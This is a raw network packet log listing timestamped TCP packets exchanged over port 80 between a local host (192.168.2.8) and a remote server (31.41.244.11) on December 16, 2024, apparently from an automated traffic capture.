Dec 16, 2024 17:02:23.120496035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.120542049 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.123333931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.123349905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.123398066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.123414993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.125823021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.125838995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.125885963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.125900984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.128269911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.128312111 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.128421068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.128467083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.130995035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.131067038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.131170034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.131223917 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.133755922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.133770943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.133802891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.133829117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.134808064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.134824038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.134859085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.134876013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.139183044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.139254093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.139354944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.139406919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.141350031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.141400099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.141522884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.141567945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.142748117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.142807961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.142916918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.142961025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.144094944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.144156933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.144252062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.144308090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.145467997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.145484924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.145526886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.145539999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.146673918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.146720886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.146822929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.146867990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.148094893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.148142099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.148258924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.148308992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.149483919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.149499893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.149533033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.149544954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.150515079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.150573969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.150675058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.150722980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.152033091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.152101040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.152178049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.152224064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.153424025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.153439999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.153466940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.153481960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.154632092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.154697895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.154805899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.154844999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.155880928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.155946016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.156052113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.156105995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.157202959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.157257080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.157371998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.157421112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.158586025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.158632040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.158744097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.158878088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.159955025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.160000086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.160126925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.160173893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.161259890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.161276102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.161313057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.161324978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.162596941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.162662029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.162919044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.162988901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.163892031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.163908005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.163943052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.163965940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.165390015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.165441036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.165549994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.165591002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.167263031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.167327881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.167444944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.167489052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.168965101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.169024944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.169158936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.169204950 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.170988083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.171005011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.171057940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.171072006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.171473980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.171490908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.171519995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.171533108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.172780037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.172830105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.173126936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.173173904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.174093962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.174145937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.174230099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.174273014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.179054022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.179116964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.179394007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.179421902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.179439068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.179446936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.179452896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.179467916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.179471016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.179482937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.179502964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.179533005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.180190086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.180237055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.180475950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.180519104 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.181406975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.181461096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.181555033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.181675911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.182429075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.182477951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.182570934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.182614088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.183657885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.183717012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.183927059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.183970928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.184926033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.184942007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.184977055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.184998035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.185740948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.185756922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.185790062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.185802937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.186791897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.186808109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.186849117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.186872959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.187972069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.187988997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.188028097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.188039064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.189012051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.189070940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.189147949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.189197063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.190375090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.190391064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.190435886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.190449953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.191860914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.191876888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.191909075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.191920996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.193006992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.193051100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.193171978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.193217993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.194428921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.194442987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.194489956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.194506884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.195594072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.195647001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.195873976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.195919037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.196923018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.196973085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.197084904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.197130919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.198379993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.198396921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.198432922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.198446035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.199506044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.199554920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.199676991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.199727058 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.200881004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.200928926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.201047897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.201095104 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.202136040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.202183962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.202632904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.202682018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.203547955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.203597069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.203727007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.203775883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.204933882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.204948902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.204984903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.204996109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.206151962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.206203938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.206310987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.206362009 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.207571030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.207593918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.207622051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.207634926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.208945036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.208960056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.208996058 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.209008932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.210683107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.210697889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.210760117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.210781097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.211524010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.211580992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.211586952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.211601973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.211618900 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.211628914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.211648941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.211668968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.212132931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.212184906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.212229013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.212270021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.214442968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.214493990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.214586973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.214632988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.221844912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.221860886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.222007990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.222198963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.222290993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.222379923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.222436905 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.223634005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.223649025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.223685026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.223701954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.224044085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.224103928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.224188089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.224237919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.224754095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.224800110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.224984884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.225033998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.225677967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.225693941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.225729942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.225748062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.227171898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.227221012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.227297068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.227346897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.228492975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.228508949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.228540897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.228554010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.229768038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.229890108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.229918957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.229965925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.231132030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.231148005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.231179953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.231193066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.233510017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.233525991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.233558893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.233573914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.233911991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.233961105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.234071016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.234118938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.235579967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.235630035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.235918999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.235968113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.236412048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.236454010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.236702919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.236748934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.239638090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.239712954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.239797115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.239871025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.240677118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.240693092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.240725040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.240741968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.245192051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.245208025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.245245934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.245259047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.245999098 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.246051073 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.246169090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.246217966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.247554064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.247570992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.247606039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.247620106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.248009920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.248059988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.248147964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.248193979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.249916077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.249932051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.249968052 CET	49712	80	192.168.2.8	31.41.244.11
